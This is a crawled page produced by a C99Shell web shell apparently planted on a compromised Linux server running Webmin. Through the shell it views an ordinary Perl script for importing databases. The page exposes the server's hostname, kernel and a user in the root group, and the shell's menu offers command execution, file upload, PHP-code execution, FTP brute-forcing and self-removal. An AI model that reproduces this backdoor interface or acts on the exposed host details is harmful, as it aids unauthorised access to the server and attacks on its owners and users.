!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     import_database.cgi (1.18 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Add some databases to this server's control

require './virtual-server-lib.pl';
&ReadParse();
&error_setup($text{'databases_ierr'});
$d = &get_domain($in{'dom'});
&can_edit_domain($d) && &can_edit_databases() && &can_import_servers() ||
    &error($text{'edit_ecannot'});
&set_all_null_print();

# Check databases to import for sanity
@import = split(/\0/, $in{'import'});
foreach $tn (@import) {
    ($type, $db) = split(/\s+/, $tn, 2);
    if ($type eq "mysql" &&
        ($db eq "mysql" || $db eq "information_schema")) {
        &error(&text('databases_eimysql', $db));
        }
    elsif ($type eq "postgres" && $db =~ /^template\d+$/) {
        &error(&text('databases_eipostgres', $db));
        }
    }

foreach $tn (@import) {
    ($type, $db) = split(/\s+/, $tn, 2);
    @dbs = split(/\s+/, $d->{'db_'.$type});
    push(@dbs, $db);
    $d->{'db_'.$type} = join(" ", @dbs);

    # Call the grant function to actually allow access
    $gfunc = "grant_".$type."_database";
    if (defined(&$gfunc)) {
        &$gfunc($d, $db);
        }
    &webmin_log("import", "database", $db,
            { 'type' => $type, 'dom' => $d->{'dom'} });
    }
&save_domain($d);
&refresh_webmin_user($d);
&run_post_actions_silently();
&redirect("list_databases.cgi?dom=$in{'dom'}");


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--